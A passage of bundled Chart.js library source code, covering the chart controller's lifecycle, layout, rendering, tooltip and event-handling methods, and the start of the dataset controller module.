notification\n\t\t\tplugins.notify(me, 'beforeInit');\n\n\t\t\thelpers.retinaScale(me, me.options.devicePixelRatio);\n\n\t\t\tme.bindEvents();\n\n\t\t\tif (me.options.responsive) {\n\t\t\t\t// Initial resize before chart draws (must be silent to preserve initial animations).\n\t\t\t\tme.resize(true);\n\t\t\t}\n\n\t\t\t// Make sure scales have IDs and are built before we build any controllers.\n\t\t\tme.ensureScalesHaveIDs();\n\t\t\tme.buildOrUpdateScales();\n\t\t\tme.initToolTip();\n\n\t\t\t// After init plugin notification\n\t\t\tplugins.notify(me, 'afterInit');\n\n\t\t\treturn me;\n\t\t},\n\n\t\tclear: function() {\n\t\t\thelpers.canvas.clear(this);\n\t\t\treturn this;\n\t\t},\n\n\t\tstop: function() {\n\t\t\t// Stops any current animation loop occurring\n\t\t\tChart.animationService.cancelAnimation(this);\n\t\t\treturn this;\n\t\t},\n\n\t\tresize: function(silent) {\n\t\t\tvar me = this;\n\t\t\tvar options = me.options;\n\t\t\tvar canvas = me.canvas;\n\t\t\tvar aspectRatio = (options.maintainAspectRatio && me.aspectRatio) || null;\n\n\t\t\t// the canvas render width and height will be casted to integers so make sure that\n\t\t\t// the canvas display style uses the same integer values to avoid blurring effect.\n\n\t\t\t// Set to 0 instead of canvas.size because the size defaults to 300x150 if the element is collased\n\t\t\tvar newWidth = Math.max(0, Math.floor(helpers.getMaximumWidth(canvas)));\n\t\t\tvar newHeight = Math.max(0, Math.floor(aspectRatio ? newWidth / aspectRatio : helpers.getMaximumHeight(canvas)));\n\n\t\t\tif (me.width === newWidth && me.height === newHeight) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tcanvas.width = me.width = newWidth;\n\t\t\tcanvas.height = me.height = newHeight;\n\t\t\tcanvas.style.width = newWidth + 'px';\n\t\t\tcanvas.style.height = newHeight + 'px';\n\n\t\t\thelpers.retinaScale(me, options.devicePixelRatio);\n\n\t\t\tif (!silent) {\n\t\t\t\t// Notify any plugins about the resize\n\t\t\t\tvar newSize = {width: newWidth, height: newHeight};\n\t\t\t\tplugins.notify(me, 'resize', [newSize]);\n\n\t\t\t\t// Notify of resize\n\t\t\t\tif (me.options.onResize) {\n\t\t\t\t\tme.options.onResize(me, newSize);\n\t\t\t\t}\n\n\t\t\t\tme.stop();\n\t\t\t\tme.update(me.options.responsiveAnimationDuration);\n\t\t\t}\n\t\t},\n\n\t\tensureScalesHaveIDs: function() {\n\t\t\tvar options = this.options;\n\t\t\tvar scalesOptions = options.scales || {};\n\t\t\tvar scaleOptions = options.scale;\n\n\t\t\thelpers.each(scalesOptions.xAxes, function(xAxisOptions, index) {\n\t\t\t\txAxisOptions.id = xAxisOptions.id || ('x-axis-' + index);\n\t\t\t});\n\n\t\t\thelpers.each(scalesOptions.yAxes, function(yAxisOptions, index) {\n\t\t\t\tyAxisOptions.id = yAxisOptions.id || ('y-axis-' + index);\n\t\t\t});\n\n\t\t\tif (scaleOptions) {\n\t\t\t\tscaleOptions.id = scaleOptions.id || 'scale';\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * Builds a map of scale ID to scale object for future lookup.\n\t\t */\n\t\tbuildOrUpdateScales: function() {\n\t\t\tvar me = this;\n\t\t\tvar options = me.options;\n\t\t\tvar scales = me.scales || {};\n\t\t\tvar items = [];\n\t\t\tvar updated = Object.keys(scales).reduce(function(obj, id) {\n\t\t\t\tobj[id] = false;\n\t\t\t\treturn obj;\n\t\t\t}, {});\n\n\t\t\tif (options.scales) {\n\t\t\t\titems = items.concat(\n\t\t\t\t\t(options.scales.xAxes || []).map(function(xAxisOptions) {\n\t\t\t\t\t\treturn {options: xAxisOptions, dtype: 'category', dposition: 'bottom'};\n\t\t\t\t\t}),\n\t\t\t\t\t(options.scales.yAxes || []).map(function(yAxisOptions) {\n\t\t\t\t\t\treturn {options: yAxisOptions, dtype: 'linear', dposition: 'left'};\n\t\t\t\t\t})\n\t\t\t\t);\n\t\t\t}\n\n\t\t\tif (options.scale) {\n\t\t\t\titems.push({\n\t\t\t\t\toptions: options.scale,\n\t\t\t\t\tdtype: 'radialLinear',\n\t\t\t\t\tisDefault: true,\n\t\t\t\t\tdposition: 'chartArea'\n\t\t\t\t});\n\t\t\t}\n\n\t\t\thelpers.each(items, function(item) {\n\t\t\t\tvar scaleOptions = item.options;\n\t\t\t\tvar id = scaleOptions.id;\n\t\t\t\tvar scaleType = helpers.valueOrDefault(scaleOptions.type, item.dtype);\n\n\t\t\t\tif (positionIsHorizontal(scaleOptions.position) !== positionIsHorizontal(item.dposition)) {\n\t\t\t\t\tscaleOptions.position = item.dposition;\n\t\t\t\t}\n\n\t\t\t\tupdated[id] = true;\n\t\t\t\tvar scale = null;\n\t\t\t\tif (id in scales && scales[id].type === scaleType) {\n\t\t\t\t\tscale = scales[id];\n\t\t\t\t\tscale.options = scaleOptions;\n\t\t\t\t\tscale.ctx = me.ctx;\n\t\t\t\t\tscale.chart = me;\n\t\t\t\t} else {\n\t\t\t\t\tvar scaleClass = Chart.scaleService.getScaleConstructor(scaleType);\n\t\t\t\t\tif (!scaleClass) {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tscale = new scaleClass({\n\t\t\t\t\t\tid: id,\n\t\t\t\t\t\ttype: scaleType,\n\t\t\t\t\t\toptions: scaleOptions,\n\t\t\t\t\t\tctx: me.ctx,\n\t\t\t\t\t\tchart: me\n\t\t\t\t\t});\n\t\t\t\t\tscales[scale.id] = scale;\n\t\t\t\t}\n\n\t\t\t\tscale.mergeTicksOptions();\n\n\t\t\t\t// TODO(SB): I think we should be able to remove this custom case (options.scale)\n\t\t\t\t// and consider it as a regular scale part of the \"scales\"\" map only! This would\n\t\t\t\t// make the logic easier and remove some useless? custom code.\n\t\t\t\tif (item.isDefault) {\n\t\t\t\t\tme.scale = scale;\n\t\t\t\t}\n\t\t\t});\n\t\t\t// clear up discarded scales\n\t\t\thelpers.each(updated, function(hasUpdated, id) {\n\t\t\t\tif (!hasUpdated) {\n\t\t\t\t\tdelete scales[id];\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tme.scales = scales;\n\n\t\t\tChart.scaleService.addScalesToLayout(this);\n\t\t},\n\n\t\tbuildOrUpdateControllers: function() {\n\t\t\tvar me = this;\n\t\t\tvar types = [];\n\t\t\tvar newControllers = [];\n\n\t\t\thelpers.each(me.data.datasets, function(dataset, datasetIndex) {\n\t\t\t\tvar meta = me.getDatasetMeta(datasetIndex);\n\t\t\t\tvar type = dataset.type || me.config.type;\n\n\t\t\t\tif (meta.type && meta.type !== type) {\n\t\t\t\t\tme.destroyDatasetMeta(datasetIndex);\n\t\t\t\t\tmeta = me.getDatasetMeta(datasetIndex);\n\t\t\t\t}\n\t\t\t\tmeta.type = type;\n\n\t\t\t\ttypes.push(meta.type);\n\n\t\t\t\tif (meta.controller) {\n\t\t\t\t\tmeta.controller.updateIndex(datasetIndex);\n\t\t\t\t\tmeta.controller.linkScales();\n\t\t\t\t} else {\n\t\t\t\t\tvar ControllerClass = Chart.controllers[meta.type];\n\t\t\t\t\tif (ControllerClass === undefined) {\n\t\t\t\t\t\tthrow new Error('\"' + meta.type + '\" is not a chart type.');\n\t\t\t\t\t}\n\n\t\t\t\t\tmeta.controller = new ControllerClass(me, datasetIndex);\n\t\t\t\t\tnewControllers.push(meta.controller);\n\t\t\t\t}\n\t\t\t}, me);\n\n\t\t\treturn newControllers;\n\t\t},\n\n\t\t/**\n\t\t * Reset the elements of all datasets\n\t\t * @private\n\t\t */\n\t\tresetElements: function() {\n\t\t\tvar me = this;\n\t\t\thelpers.each(me.data.datasets, function(dataset, datasetIndex) {\n\t\t\t\tme.getDatasetMeta(datasetIndex).controller.reset();\n\t\t\t}, me);\n\t\t},\n\n\t\t/**\n\t\t* Resets the chart back to it's state before the initial animation\n\t\t*/\n\t\treset: function() {\n\t\t\tthis.resetElements();\n\t\t\tthis.tooltip.initialize();\n\t\t},\n\n\t\tupdate: function(config) {\n\t\t\tvar me = this;\n\n\t\t\tif (!config || typeof config !== 'object') {\n\t\t\t\t// backwards compatibility\n\t\t\t\tconfig = {\n\t\t\t\t\tduration: config,\n\t\t\t\t\tlazy: arguments[1]\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tupdateConfig(me);\n\n\t\t\t// plugins options references might have change, let's invalidate the cache\n\t\t\t// https://github.com/chartjs/Chart.js/issues/5111#issuecomment-355934167\n\t\t\tplugins._invalidate(me);\n\n\t\t\tif (plugins.notify(me, 'beforeUpdate') === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// In case the entire data object changed\n\t\t\tme.tooltip._data = me.data;\n\n\t\t\t// Make sure dataset controllers are updated and new controllers are reset\n\t\t\tvar newControllers = me.buildOrUpdateControllers();\n\n\t\t\t// Make sure all dataset controllers have correct meta data counts\n\t\t\thelpers.each(me.data.datasets, function(dataset, datasetIndex) {\n\t\t\t\tme.getDatasetMeta(datasetIndex).controller.buildOrUpdateElements();\n\t\t\t}, me);\n\n\t\t\tme.updateLayout();\n\n\t\t\t// Can only reset the new controllers after the scales have been updated\n\t\t\tif (me.options.animation && me.options.animation.duration) {\n\t\t\t\thelpers.each(newControllers, function(controller) {\n\t\t\t\t\tcontroller.reset();\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tme.updateDatasets();\n\n\t\t\t// Need to reset tooltip in case it is displayed with elements that are removed\n\t\t\t// after update.\n\t\t\tme.tooltip.initialize();\n\n\t\t\t// Last active contains items that were previously in the tooltip.\n\t\t\t// When we reset the tooltip, we need to clear it\n\t\t\tme.lastActive = [];\n\n\t\t\t// Do this before render so that any plugins that need final scale updates can use it\n\t\t\tplugins.notify(me, 'afterUpdate');\n\n\t\t\tif (me._bufferedRender) {\n\t\t\t\tme._bufferedRequest = {\n\t\t\t\t\tduration: config.duration,\n\t\t\t\t\teasing: config.easing,\n\t\t\t\t\tlazy: config.lazy\n\t\t\t\t};\n\t\t\t} else {\n\t\t\t\tme.render(config);\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * Updates the chart layout unless a plugin returns `false` to the `beforeLayout`\n\t\t * hook, in which case, plugins will not be called on `afterLayout`.\n\t\t * @private\n\t\t */\n\t\tupdateLayout: function() {\n\t\t\tvar me = this;\n\n\t\t\tif (plugins.notify(me, 'beforeLayout') === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tlayouts.update(this, this.width, this.height);\n\n\t\t\t/**\n\t\t\t * Provided for backward compatibility, use `afterLayout` instead.\n\t\t\t * @method IPlugin#afterScaleUpdate\n\t\t\t * @deprecated since version 2.5.0\n\t\t\t * @todo remove at version 3\n\t\t\t * @private\n\t\t\t */\n\t\t\tplugins.notify(me, 'afterScaleUpdate');\n\t\t\tplugins.notify(me, 'afterLayout');\n\t\t},\n\n\t\t/**\n\t\t * Updates all datasets unless a plugin returns `false` to the `beforeDatasetsUpdate`\n\t\t * hook, in which case, plugins will not be called on `afterDatasetsUpdate`.\n\t\t * @private\n\t\t */\n\t\tupdateDatasets: function() {\n\t\t\tvar me = this;\n\n\t\t\tif (plugins.notify(me, 'beforeDatasetsUpdate') === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tfor (var i = 0, ilen = me.data.datasets.length; i < ilen; ++i) {\n\t\t\t\tme.updateDataset(i);\n\t\t\t}\n\n\t\t\tplugins.notify(me, 'afterDatasetsUpdate');\n\t\t},\n\n\t\t/**\n\t\t * Updates dataset at index unless a plugin returns `false` to the `beforeDatasetUpdate`\n\t\t * hook, in which case, plugins will not be called on `afterDatasetUpdate`.\n\t\t * @private\n\t\t */\n\t\tupdateDataset: function(index) {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getDatasetMeta(index);\n\t\t\tvar args = {\n\t\t\t\tmeta: meta,\n\t\t\t\tindex: index\n\t\t\t};\n\n\t\t\tif (plugins.notify(me, 'beforeDatasetUpdate', [args]) === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tmeta.controller.update();\n\n\t\t\tplugins.notify(me, 'afterDatasetUpdate', [args]);\n\t\t},\n\n\t\trender: function(config) {\n\t\t\tvar me = this;\n\n\t\t\tif (!config || typeof config !== 'object') {\n\t\t\t\t// backwards compatibility\n\t\t\t\tconfig = {\n\t\t\t\t\tduration: config,\n\t\t\t\t\tlazy: arguments[1]\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tvar duration = config.duration;\n\t\t\tvar lazy = config.lazy;\n\n\t\t\tif (plugins.notify(me, 'beforeRender') === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tvar animationOptions = me.options.animation;\n\t\t\tvar onComplete = function(animation) {\n\t\t\t\tplugins.notify(me, 'afterRender');\n\t\t\t\thelpers.callback(animationOptions && animationOptions.onComplete, [animation], me);\n\t\t\t};\n\n\t\t\tif (animationOptions && ((typeof duration !== 'undefined' && duration !== 0) || (typeof duration === 'undefined' && animationOptions.duration !== 0))) {\n\t\t\t\tvar animation = new Chart.Animation({\n\t\t\t\t\tnumSteps: (duration || animationOptions.duration) / 16.66, // 60 fps\n\t\t\t\t\teasing: config.easing || animationOptions.easing,\n\n\t\t\t\t\trender: function(chart, animationObject) {\n\t\t\t\t\t\tvar easingFunction = helpers.easing.effects[animationObject.easing];\n\t\t\t\t\t\tvar currentStep = animationObject.currentStep;\n\t\t\t\t\t\tvar stepDecimal = currentStep / animationObject.numSteps;\n\n\t\t\t\t\t\tchart.draw(easingFunction(stepDecimal), stepDecimal, currentStep);\n\t\t\t\t\t},\n\n\t\t\t\t\tonAnimationProgress: animationOptions.onProgress,\n\t\t\t\t\tonAnimationComplete: onComplete\n\t\t\t\t});\n\n\t\t\t\tChart.animationService.addAnimation(me, animation, duration, lazy);\n\t\t\t} else {\n\t\t\t\tme.draw();\n\n\t\t\t\t// See https://github.com/chartjs/Chart.js/issues/3781\n\t\t\t\tonComplete(new Chart.Animation({numSteps: 0, chart: me}));\n\t\t\t}\n\n\t\t\treturn me;\n\t\t},\n\n\t\tdraw: function(easingValue) {\n\t\t\tvar me = this;\n\n\t\t\tme.clear();\n\n\t\t\tif (helpers.isNullOrUndef(easingValue)) {\n\t\t\t\teasingValue = 1;\n\t\t\t}\n\n\t\t\tme.transition(easingValue);\n\n\t\t\tif (plugins.notify(me, 'beforeDraw', [easingValue]) === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Draw all the scales\n\t\t\thelpers.each(me.boxes, function(box) {\n\t\t\t\tbox.draw(me.chartArea);\n\t\t\t}, me);\n\n\t\t\tif (me.scale) {\n\t\t\t\tme.scale.draw();\n\t\t\t}\n\n\t\t\tme.drawDatasets(easingValue);\n\t\t\tme._drawTooltip(easingValue);\n\n\t\t\tplugins.notify(me, 'afterDraw', [easingValue]);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\ttransition: function(easingValue) {\n\t\t\tvar me = this;\n\n\t\t\tfor (var i = 0, ilen = (me.data.datasets || []).length; i < ilen; ++i) {\n\t\t\t\tif (me.isDatasetVisible(i)) {\n\t\t\t\t\tme.getDatasetMeta(i).controller.transition(easingValue);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tme.tooltip.transition(easingValue);\n\t\t},\n\n\t\t/**\n\t\t * Draws all datasets unless a plugin returns `false` to the `beforeDatasetsDraw`\n\t\t * hook, in which case, plugins will not be called on `afterDatasetsDraw`.\n\t\t * @private\n\t\t */\n\t\tdrawDatasets: function(easingValue) {\n\t\t\tvar me = this;\n\n\t\t\tif (plugins.notify(me, 'beforeDatasetsDraw', [easingValue]) === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Draw datasets reversed to support proper line stacking\n\t\t\tfor (var i = (me.data.datasets || []).length - 1; i >= 0; --i) {\n\t\t\t\tif (me.isDatasetVisible(i)) {\n\t\t\t\t\tme.drawDataset(i, easingValue);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tplugins.notify(me, 'afterDatasetsDraw', [easingValue]);\n\t\t},\n\n\t\t/**\n\t\t * Draws dataset at index unless a plugin returns `false` to the `beforeDatasetDraw`\n\t\t * hook, in which case, plugins will not be called on `afterDatasetDraw`.\n\t\t * @private\n\t\t */\n\t\tdrawDataset: function(index, easingValue) {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getDatasetMeta(index);\n\t\t\tvar args = {\n\t\t\t\tmeta: meta,\n\t\t\t\tindex: index,\n\t\t\t\teasingValue: easingValue\n\t\t\t};\n\n\t\t\tif (plugins.notify(me, 'beforeDatasetDraw', [args]) === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tmeta.controller.draw(easingValue);\n\n\t\t\tplugins.notify(me, 'afterDatasetDraw', [args]);\n\t\t},\n\n\t\t/**\n\t\t * Draws tooltip unless a plugin returns `false` to the `beforeTooltipDraw`\n\t\t * hook, in which case, plugins will not be called on `afterTooltipDraw`.\n\t\t * @private\n\t\t */\n\t\t_drawTooltip: function(easingValue) {\n\t\t\tvar me = this;\n\t\t\tvar tooltip = me.tooltip;\n\t\t\tvar args = {\n\t\t\t\ttooltip: tooltip,\n\t\t\t\teasingValue: easingValue\n\t\t\t};\n\n\t\t\tif (plugins.notify(me, 'beforeTooltipDraw', [args]) === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\ttooltip.draw();\n\n\t\t\tplugins.notify(me, 'afterTooltipDraw', [args]);\n\t\t},\n\n\t\t// Get the single element that was clicked on\n\t\t// @return : An object containing the dataset index and element index of the matching element. Also contains the rectangle that was draw\n\t\tgetElementAtEvent: function(e) {\n\t\t\treturn Interaction.modes.single(this, e);\n\t\t},\n\n\t\tgetElementsAtEvent: function(e) {\n\t\t\treturn Interaction.modes.label(this, e, {intersect: true});\n\t\t},\n\n\t\tgetElementsAtXAxis: function(e) {\n\t\t\treturn Interaction.modes['x-axis'](this, e, {intersect: true});\n\t\t},\n\n\t\tgetElementsAtEventForMode: function(e, mode, options) {\n\t\t\tvar method = Interaction.modes[mode];\n\t\t\tif (typeof method === 'function') {\n\t\t\t\treturn method(this, e, options);\n\t\t\t}\n\n\t\t\treturn [];\n\t\t},\n\n\t\tgetDatasetAtEvent: function(e) {\n\t\t\treturn Interaction.modes.dataset(this, e, {intersect: true});\n\t\t},\n\n\t\tgetDatasetMeta: function(datasetIndex) {\n\t\t\tvar me = this;\n\t\t\tvar dataset = me.data.datasets[datasetIndex];\n\t\t\tif (!dataset._meta) {\n\t\t\t\tdataset._meta = {};\n\t\t\t}\n\n\t\t\tvar meta = dataset._meta[me.id];\n\t\t\tif (!meta) {\n\t\t\t\tmeta = dataset._meta[me.id] = {\n\t\t\t\t\ttype: null,\n\t\t\t\t\tdata: [],\n\t\t\t\t\tdataset: null,\n\t\t\t\t\tcontroller: null,\n\t\t\t\t\thidden: null,\t\t\t// See isDatasetVisible() comment\n\t\t\t\t\txAxisID: null,\n\t\t\t\t\tyAxisID: null\n\t\t\t\t};\n\t\t\t}\n\n\t\t\treturn meta;\n\t\t},\n\n\t\tgetVisibleDatasetCount: function() {\n\t\t\tvar count = 0;\n\t\t\tfor (var i = 0, ilen = this.data.datasets.length; i < ilen; ++i) {\n\t\t\t\tif (this.isDatasetVisible(i)) {\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn count;\n\t\t},\n\n\t\tisDatasetVisible: function(datasetIndex) {\n\t\t\tvar meta = this.getDatasetMeta(datasetIndex);\n\n\t\t\t// meta.hidden is a per chart dataset hidden flag override with 3 states: if true or false,\n\t\t\t// the dataset.hidden value is ignored, else if null, the dataset hidden state is returned.\n\t\t\treturn typeof meta.hidden === 'boolean' ? !meta.hidden : !this.data.datasets[datasetIndex].hidden;\n\t\t},\n\n\t\tgenerateLegend: function() {\n\t\t\treturn this.options.legendCallback(this);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tdestroyDatasetMeta: function(datasetIndex) {\n\t\t\tvar id = this.id;\n\t\t\tvar dataset = this.data.datasets[datasetIndex];\n\t\t\tvar meta = dataset._meta && dataset._meta[id];\n\n\t\t\tif (meta) {\n\t\t\t\tmeta.controller.destroy();\n\t\t\t\tdelete dataset._meta[id];\n\t\t\t}\n\t\t},\n\n\t\tdestroy: function() {\n\t\t\tvar me = this;\n\t\t\tvar canvas = me.canvas;\n\t\t\tvar i, ilen;\n\n\t\t\tme.stop();\n\n\t\t\t// dataset controllers need to cleanup associated data\n\t\t\tfor (i = 0, ilen = me.data.datasets.length; i < ilen; ++i) {\n\t\t\t\tme.destroyDatasetMeta(i);\n\t\t\t}\n\n\t\t\tif (canvas) {\n\t\t\t\tme.unbindEvents();\n\t\t\t\thelpers.canvas.clear(me);\n\t\t\t\tplatform.releaseContext(me.ctx);\n\t\t\t\tme.canvas = null;\n\t\t\t\tme.ctx = null;\n\t\t\t}\n\n\t\t\tplugins.notify(me, 'destroy');\n\n\t\t\tdelete Chart.instances[me.id];\n\t\t},\n\n\t\ttoBase64Image: function() {\n\t\t\treturn this.canvas.toDataURL.apply(this.canvas, arguments);\n\t\t},\n\n\t\tinitToolTip: function() {\n\t\t\tvar me = this;\n\t\t\tme.tooltip = new Chart.Tooltip({\n\t\t\t\t_chart: me,\n\t\t\t\t_chartInstance: me, // deprecated, backward compatibility\n\t\t\t\t_data: me.data,\n\t\t\t\t_options: me.options.tooltips\n\t\t\t}, me);\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tbindEvents: function() {\n\t\t\tvar me = this;\n\t\t\tvar listeners = me._listeners = {};\n\t\t\tvar listener = function() {\n\t\t\t\tme.eventHandler.apply(me, arguments);\n\t\t\t};\n\n\t\t\thelpers.each(me.options.events, function(type) {\n\t\t\t\tplatform.addEventListener(me, type, listener);\n\t\t\t\tlisteners[type] = listener;\n\t\t\t});\n\n\t\t\t// Elements used to detect size change should not be injected for non responsive charts.\n\t\t\t// See https://github.com/chartjs/Chart.js/issues/2210\n\t\t\tif (me.options.responsive) {\n\t\t\t\tlistener = function() {\n\t\t\t\t\tme.resize();\n\t\t\t\t};\n\n\t\t\t\tplatform.addEventListener(me, 'resize', listener);\n\t\t\t\tlisteners.resize = listener;\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\tunbindEvents: function() {\n\t\t\tvar me = this;\n\t\t\tvar listeners = me._listeners;\n\t\t\tif (!listeners) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tdelete me._listeners;\n\t\t\thelpers.each(listeners, function(listener, type) {\n\t\t\t\tplatform.removeEventListener(me, type, listener);\n\t\t\t});\n\t\t},\n\n\t\tupdateHoverStyle: function(elements, mode, enabled) {\n\t\t\tvar method = enabled ? 'setHoverStyle' : 'removeHoverStyle';\n\t\t\tvar element, i, ilen;\n\n\t\t\tfor (i = 0, ilen = elements.length; i < ilen; ++i) {\n\t\t\t\telement = elements[i];\n\t\t\t\tif (element) {\n\t\t\t\t\tthis.getDatasetMeta(element._datasetIndex).controller[method](element);\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\teventHandler: function(e) {\n\t\t\tvar me = this;\n\t\t\tvar tooltip = me.tooltip;\n\n\t\t\tif (plugins.notify(me, 'beforeEvent', [e]) === false) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Buffer any update calls so that renders do not occur\n\t\t\tme._bufferedRender = true;\n\t\t\tme._bufferedRequest = null;\n\n\t\t\tvar changed = me.handleEvent(e);\n\t\t\t// for smooth tooltip animations issue #4989\n\t\t\t// the tooltip should be the source of change\n\t\t\t// Animation check workaround:\n\t\t\t// tooltip._start will be null when tooltip isn't animating\n\t\t\tif (tooltip) {\n\t\t\t\tchanged = tooltip._start\n\t\t\t\t\t? tooltip.handleEvent(e)\n\t\t\t\t\t: changed | tooltip.handleEvent(e);\n\t\t\t}\n\n\t\t\tplugins.notify(me, 'afterEvent', [e]);\n\n\t\t\tvar bufferedRequest = me._bufferedRequest;\n\t\t\tif (bufferedRequest) {\n\t\t\t\t// If we have an update that was triggered, we need to do a normal render\n\t\t\t\tme.render(bufferedRequest);\n\t\t\t} else if (changed && !me.animating) {\n\t\t\t\t// If entering, leaving, or changing elements, animate the change via pivot\n\t\t\t\tme.stop();\n\n\t\t\t\t// We only need to render at this point. Updating will cause scales to be\n\t\t\t\t// recomputed generating flicker & using more memory than necessary.\n\t\t\t\tme.render(me.options.hover.animationDuration, true);\n\t\t\t}\n\n\t\t\tme._bufferedRender = false;\n\t\t\tme._bufferedRequest = null;\n\n\t\t\treturn me;\n\t\t},\n\n\t\t/**\n\t\t * Handle an event\n\t\t * @private\n\t\t * @param {IEvent} event the event to handle\n\t\t * @return {Boolean} true if the chart needs to re-render\n\t\t */\n\t\thandleEvent: function(e) {\n\t\t\tvar me = this;\n\t\t\tvar options = me.options || {};\n\t\t\tvar hoverOptions = options.hover;\n\t\t\tvar changed = false;\n\n\t\t\tme.lastActive = me.lastActive || [];\n\n\t\t\t// Find Active Elements for hover and tooltips\n\t\t\tif (e.type === 'mouseout') {\n\t\t\t\tme.active = [];\n\t\t\t} else {\n\t\t\t\tme.active = me.getElementsAtEventForMode(e, hoverOptions.mode, hoverOptions);\n\t\t\t}\n\n\t\t\t// Invoke onHover hook\n\t\t\t// Need to call with native event here to not break backwards compatibility\n\t\t\thelpers.callback(options.onHover || options.hover.onHover, [e.native, me.active], me);\n\n\t\t\tif (e.type === 'mouseup' || e.type === 'click') {\n\t\t\t\tif (options.onClick) {\n\t\t\t\t\t// Use e.native here for backwards compatibility\n\t\t\t\t\toptions.onClick.call(me, e.native, me.active);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove styling for last active (even if it may still be active)\n\t\t\tif (me.lastActive.length) {\n\t\t\t\tme.updateHoverStyle(me.lastActive, hoverOptions.mode, false);\n\t\t\t}\n\n\t\t\t// Built in hover styling\n\t\t\tif (me.active.length && hoverOptions.mode) {\n\t\t\t\tme.updateHoverStyle(me.active, hoverOptions.mode, true);\n\t\t\t}\n\n\t\t\tchanged = !helpers.arrayEquals(me.active, me.lastActive);\n\n\t\t\t// Remember Last Actives\n\t\t\tme.lastActive = me.active;\n\n\t\t\treturn changed;\n\t\t}\n\t});\n\n\t/**\n\t * Provided for backward compatibility, use Chart instead.\n\t * @class Chart.Controller\n\t * @deprecated since version 2.6.0\n\t * @todo remove at version 3\n\t * @private\n\t */\n\tChart.Controller = Chart;\n};\n\n},{\"25\":25,\"28\":28,\"30\":30,\"31\":31,\"45\":45,\"48\":48}],24:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(45);\n\nmodule.exports = function(Chart) {\n\n\tvar arrayEvents = ['push', 'pop', 'shift', 'splice', 'unshift'];\n\n\t/**\n\t * Hooks the array methods that add or remove values ('push', pop', 'shift', 'splice',\n\t * 'unshift') and notify the listener AFTER the array has been altered. Listeners are\n\t * called on the 'onData*' callbacks (e.g. onDataPush, etc.) with same arguments.\n\t */\n\tfunction listenArrayEvents(array, listener) {\n\t\tif (array._chartjs) {\n\t\t\tarray._chartjs.listeners.push(listener);\n\t\t\treturn;\n\t\t}\n\n\t\tObject.defineProperty(array, '_chartjs', {\n\t\t\tconfigurable: true,\n\t\t\tenumerable: false,\n\t\t\tvalue: {\n\t\t\t\tlisteners: [listener]\n\t\t\t}\n\t\t});\n\n\t\tarrayEvents.forEach(function(key) {\n\t\t\tvar method = 'onData' + key.charAt(0).toUpperCase() + key.slice(1);\n\t\t\tvar base = array[key];\n\n\t\t\tObject.defineProperty(array, key, {\n\t\t\t\tconfigurable: true,\n\t\t\t\tenumerable: false,\n\t\t\t\tvalue: function() {\n\t\t\t\t\tvar args = Array.prototype.slice.call(arguments);\n\t\t\t\t\tvar res = base.apply(this, args);\n\n\t\t\t\t\thelpers.each(array._chartjs.listeners, function(object) {\n\t\t\t\t\t\tif (typeof object[method] === 'function') {\n\t\t\t\t\t\t\tobject[method].apply(object, args);\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\n\t\t\t\t\treturn res;\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}\n\n\t/**\n\t * Removes the given array event listener and cleanup extra attached properties (such as\n\t * the _chartjs stub and overridden methods) if array doesn't have any more listeners.\n\t */\n\tfunction unlistenArrayEvents(array, listener) {\n\t\tvar stub = array._chartjs;\n\t\tif (!stub) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar listeners = stub.listeners;\n\t\tvar index = listeners.indexOf(listener);\n\t\tif (index !== -1) {\n\t\t\tlisteners.splice(index, 1);\n\t\t}\n\n\t\tif (listeners.length > 0) {\n\t\t\treturn;\n\t\t}\n\n\t\tarrayEvents.forEach(function(key) {\n\t\t\tdelete array[key];\n\t\t});\n\n\t\tdelete array._chartjs;\n\t}\n\n\t// Base class for all dataset controllers (line, bar, etc)\n\tChart.DatasetController = function(chart, datasetIndex) {\n\t\tthis.initialize(chart, datasetIndex);\n\t};\n\n\thelpers.extend(Chart.DatasetController.prototype, {\n\n\t\t/**\n\t\t * Element type used to generate a meta dataset (e.g. Chart.element.Line).\n\t\t * @type {Chart.core.element}\n\t\t */\n\t\tdatasetElementType: null,\n\n\t\t/**\n\t\t * Element type used to generate a meta data (e.g. Chart.element.Point).\n\t\t * @type {Chart.core.element}\n\t\t */\n\t\tdataElementType: null,\n\n\t\tinitialize: function(chart, datasetIndex) {\n\t\t\tvar me = this;\n\t\t\tme.chart = chart;\n\t\t\tme.index = datasetIndex;\n\t\t\tme.linkScales();\n\t\t\tme.addElements();\n\t\t},\n\n\t\tupdateIndex: function(datasetIndex) {\n\t\t\tthis.index = datasetIndex;\n\t\t},\n\n\t\tlinkScales: function() 